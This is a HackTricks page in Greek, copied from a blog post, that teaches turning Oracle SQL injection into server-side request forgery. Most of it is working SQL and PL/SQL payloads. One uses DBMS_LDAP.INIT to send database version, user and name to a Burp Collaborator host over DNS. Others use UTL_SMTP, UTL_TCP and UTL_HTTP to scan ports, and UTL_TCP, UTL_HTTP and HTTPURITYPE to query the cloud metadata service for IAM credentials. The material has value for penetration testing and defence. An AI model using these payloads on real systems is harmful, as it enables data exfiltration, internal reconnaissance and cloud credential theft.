Oracle injection

Support HackTricks

Σερβίρετε αυτή την ανάρτηση μια αντίγραφο από το wayback machine της διαγραμμένης ανάρτησης από https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Η χρήση του Oracle για να κάνετε Out of Band HTTP και DNS αιτήματα είναι καλά τεκμηριωμένη, αλλά ως μέσο εξαγωγής SQL δεδομένων σε επιθέσεις. Μπορούμε πάντα να τροποποιήσουμε αυτές τις τεχνικές/λειτουργίες για να κάνουμε άλλες SSRF/XSPA.

Η εγκατάσταση του Oracle μπορεί να είναι πραγματικά επώδυνη, ειδικά αν θέλετε να ρυθμίσετε μια γρήγορη εγκατάσταση για να δοκιμάσετε εντολές. Ο φίλος και συνάδελφός μου στην Appsecco, Abhisek Datta, μου υπέδειξε το https://github.com/MaksymBilenko/docker-oracle-12c που μου επέτρεψε να ρυθμίσω μια εγκατάσταση σε μια t2.large AWS Ubuntu μηχανή και Docker.

Εκτέλεσα την εντολή docker με την επιλογή --network="host" ώστε να μπορώ να μιμηθώ τον Oracle ως εγγενή εγκατάσταση με πλήρη πρόσβαση στο δίκτυο, κατά τη διάρκεια αυτής της ανάρτησης.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Oracle packages that support a URL or a Hostname/Port Number specification

Για να βρω οποιαδήποτε πακέτα και συναρτήσεις που υποστηρίζουν μια διεύθυνση και αριθμό θύρας, έκανα μια αναζήτηση στο Google στην Oracle Database Online Documentation. Συγκεκριμένα,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Η αναζήτηση επέστρεψε τα εξής αποτελέσματα (όχι όλα μπορούν να χρησιμοποιηθούν για την εκτέλεση εξωτερικού δικτύου)

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

Αυτή η πρόχειρη αναζήτηση προφανώς παραλείπει πακέτα όπως το DBMS_LDAP (το οποίο επιτρέπει τη μεταφορά ενός ονόματος κεντρικού υπολογιστή και αριθμού θύρας) καθώς η σελίδα τεκμηρίωσης σας παραπέμπει απλώς σε μια διαφορετική τοποθεσία. Επομένως, μπορεί να υπάρχουν άλλα πακέτα Oracle που μπορούν να καταχραστούν για να γίνουν εξωτερικά αιτήματα που μπορεί να έχω παραλείψει.

Σε κάθε περίπτωση, ας ρίξουμε μια ματιά σε μερικά από τα πακέτα που έχουμε ανακαλύψει και καταγράψει παραπάνω.

DBMS_LDAP.INIT

Το πακέτο DBMS_LDAP επιτρέπει την πρόσβαση σε δεδομένα από διακομιστές LDAP. Η συνάρτηση init() αρχικοποιεί μια συνεδρία με έναν διακομιστή LDAP και παίρνει ένα όνομα κεντρικού υπολογιστή και αριθμό θύρας ως παράμετρο.

Αυτή η συνάρτηση έχει τεκμηριωθεί προηγουμένως για να δείξει την εξαγωγή δεδομένων μέσω DNS, όπως παρακάτω

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Ωστόσο, δεδομένου ότι η συνάρτηση δέχεται ένα όνομα κεντρικού υπολογιστή και έναν αριθμό θύρας ως παραμέτρους, μπορείτε να το χρησιμοποιήσετε για να λειτουργήσει και ως σαρωτής θυρών.

Ακολουθούν μερικά παραδείγματα

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Ένα ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. δείχνει ότι η θύρα είναι κλειστή ενώ μια τιμή συνεδρίας δείχνει ότι η θύρα είναι ανοιχτή.

UTL_SMTP

Το πακέτο UTL_SMTP έχει σχεδιαστεί για την αποστολή email μέσω SMTP. Το παράδειγμα που παρέχεται στον ιστότοπο τεκμηρίωσης της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να στείλετε ένα email. Για εμάς, ωστόσο, το ενδιαφέρον είναι η δυνατότητα παροχής προδιαγραφών host και θύρας.

Ένα πρόχειρο παράδειγμα φαίνεται παρακάτω με τη λειτουργία UTL_SMTP.OPEN_CONNECTION, με χρονικό όριο 2 δευτερολέπτων.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

A ORA-29276: transfer timeout δείχνει ότι η θύρα είναι ανοιχτή αλλά δεν έχει καθοριστεί καμία σύνδεση SMTP, ενώ ένα ORA-29278: SMTP transient error: 421 Service not available δείχνει ότι η θύρα είναι κλειστή.

UTL_TCP

Το πακέτο UTL_TCP και οι διαδικασίες και συναρτήσεις του επιτρέπουν TCP/IP βασισμένη επικοινωνία με υπηρεσίες. Εάν προγραμματιστεί για μια συγκεκριμένη υπηρεσία, αυτό το πακέτο μπορεί εύκολα να γίνει ένας τρόπος εισόδου στο δίκτυο ή να εκτελέσει πλήρεις Server Side Requests, καθώς όλες οι πτυχές μιας σύνδεσης TCP/IP μπορούν να ελεγχθούν.

Το παράδειγμα στην ιστοσελίδα τεκμηρίωσης της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να κάνετε μια ακατέργαστη TCP σύνδεση για να ανακτήσετε μια ιστοσελίδα. Μπορούμε να το απλοποιήσουμε λίγο περισσότερο και να το χρησιμοποιήσουμε για να κάνουμε αιτήματα στην περίπτωση μεταδεδομένων, για παράδειγμα, ή σε μια αυθαίρετη υπηρεσία TCP/IP.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Αξιοσημείωτο είναι ότι, λόγω της ικανότητας δημιουργίας ωμών αιτημάτων TCP, αυτό το πακέτο μπορεί επίσης να χρησιμοποιηθεί για την ερώτηση της υπηρεσίας μετα-δεδομένων Instance όλων των παρόχων cloud, καθώς ο τύπος μεθόδου και οι επιπλέον κεφαλίδες μπορούν να περαστούν όλα μέσα στο αίτημα TCP.

UTL_HTTP και Ιστοσελίδες Αιτημάτων

Ίσως η πιο κοινή και ευρέως τεκμηριωμένη τεχνική σε κάθε tutorial Oracle SQL Injection εκτός ζώνης είναι το UTL_HTTP package. Αυτό το πακέτο ορίζεται από την τεκμηρίωση ως - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Μπορείτε επιπλέον να χρησιμοποιήσετε αυτό για να εκτελέσετε μερικές στοιχειώδεις σάρωσεις θυρών επίσης με ερωτήματα όπως

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Ένα ORA-12541: TNS:no listener ή ένα TNS:operation timed out είναι σημάδι ότι η θύρα TCP είναι κλειστή, ενώ ένα ORA-29263: HTTP protocol error ή δεδομένα είναι σημάδι ότι η θύρα είναι ανοιχτή.

Ένα άλλο πακέτο που έχω χρησιμοποιήσει στο παρελθόν με ποικίλη επιτυχία είναι η GETCLOB() μέθοδος του HTTPURITYPE Oracle abstract type που σας επιτρέπει να αλληλεπιδράτε με μια διεύθυνση URL και παρέχει υποστήριξη για το πρωτόκολλο HTTP. Η μέθοδος GETCLOB() χρησιμοποιείται για να ανακτήσει την απόκριση GET από μια διεύθυνση URL ως CLOB data type.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Υποστήριξη HackTricks

Last updated